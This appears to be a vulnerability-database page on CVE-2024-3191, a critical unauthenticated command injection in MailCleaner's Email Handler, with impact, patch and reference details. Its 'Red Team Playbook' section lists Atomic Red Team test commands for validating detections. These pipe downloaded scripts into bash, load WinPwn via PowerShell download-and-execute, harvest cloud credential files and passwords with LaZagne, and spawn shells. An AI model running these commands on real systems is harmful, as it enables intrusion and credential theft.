CVE-2024-3191
Overview
This vulnerability is an OS command injection flaw rooted in improper input validation within the Email Handler component of MailCleaner. Specifically, the processing logic fails to sanitize user-supplied data before incorporating it into system-level command execution, enabling injection of arbitrary commands. The affected component is responsible for handling email content or metadata processing, where the flaw resides in unsafe command invocation mechanisms.
Vulnerability Description
A vulnerability, which was classified as critical, has been found in MailCleaner up to 2023.03.14. This issue affects some unknown processing of the component Email Handler. The manipulation leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-262307.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary operating system commands on the MailCleaner server, potentially leading to full system compromise. Since the attack vector is network accessible and requires no user interaction or privileges, it facilitates remote code execution with high confidentiality, integrity, and availability impact (CVSS 9.8). This can result in data breach, service disruption, or lateral movement within the affected environment.
Solution
Apply the patch provided by the MailCleaner development team as detailed in GitHub pull request https://github.com/MailCleaner/MailCleaner/pull/601. This update addresses the command injection by implementing proper input sanitization in the Email Handler component. Users should upgrade MailCleaner to versions released after 2023.03.14 where this fix is included. For detailed patching instructions and advisories, refer to https://vuldb.com/?id.262307 and https://modzero.com/en/advisories/mz-24-01-mailcleaner/.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in MailCleaner, specifically within the Email Handler component, which allows for remote command injection. This flaw arises from improper handling of input data, enabling an attacker to execute arbitrary operating system commands on the server hosting the MailCleaner application. The implications of this vulnerability are severe, as it can lead to unauthorized access, data exfiltration, or even complete system compromise. The high CVSS score of 9.8 underscores the urgency for organizations to address this issue promptly.
Attack vectors for this vulnerability are particularly concerning due to the remote nature of the exploitation. An attacker could leverage specially crafted email messages or other forms of input that the Email Handler processes. By manipulating the input, the attacker can inject malicious commands that the system executes with the privileges of the MailCleaner application. This exploitation can occur without any prior authentication, making it accessible to a wide range of potential attackers, including those with minimal technical skills. Scenarios may include sending a malicious email to a target organization, which, once processed by MailCleaner, could trigger the execution of harmful commands, leading to data breaches or service disruptions.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on MailCleaner for email security. A successful exploitation could result in significant business risks, including financial loss, reputational damage, and regulatory penalties. For instance, if sensitive customer data is compromised, the organization could face lawsuits and loss of customer trust. Additionally, the operational impact could be severe, with potential downtime or degradation of services as IT teams scramble to contain the breach and remediate the vulnerability. The public disclosure of this flaw further exacerbates the risk, as it provides malicious actors with the knowledge needed to exploit unpatched systems.
To detect and mitigate this vulnerability, organizations should prioritize immediate patching of the affected MailCleaner versions. Regular updates and maintenance of security software are critical in defending against known vulnerabilities. In addition to applying patches, organizations should implement robust monitoring solutions to detect unusual activity associated with the Email Handler component. This could include logging and analyzing command execution patterns and monitoring for anomalous email processing behaviors. Furthermore, employing a layered security approach, including firewalls, intrusion detection systems, and email filtering solutions, can help mitigate the risk of exploitation.
In conclusion, the critical vulnerability in MailCleaner poses significant threats to organizations that utilize this email security solution. The potential for remote command injection highlights the importance of maintaining up-to-date software and implementing comprehensive security measures. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against potential exploits and minimize the associated risks. Immediate action is essential to protect sensitive data and maintain the integrity of email communications within affected environments.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Mailcleaner | Mailcleaner | All |
cpe:2.3:a:mailcleaner:mailcleaner:*:*:*:*:community:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
52%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-3191 |
| vuldb.com |
GitHub CVE
vdb-entry
|
https://vuldb.com/?id.262307 |
| vuldb.com |
GitHub CVE
signature
permissions-required
|
https://vuldb.com/?ctiid.262307 |
| modzero.com |
GitHub CVE
related
|
https://modzero.com/en/advisories/mz-24-01-mailcleaner/ |
| modzero.com |
GitHub CVE
exploit
|
https://modzero.com/static/MZ-24-01_modzero_MailCleaner.pdf |
| github.com |
GitHub CVE
issue-tracking
patch
|
https://github.com/MailCleaner/MailCleaner/pull/601 |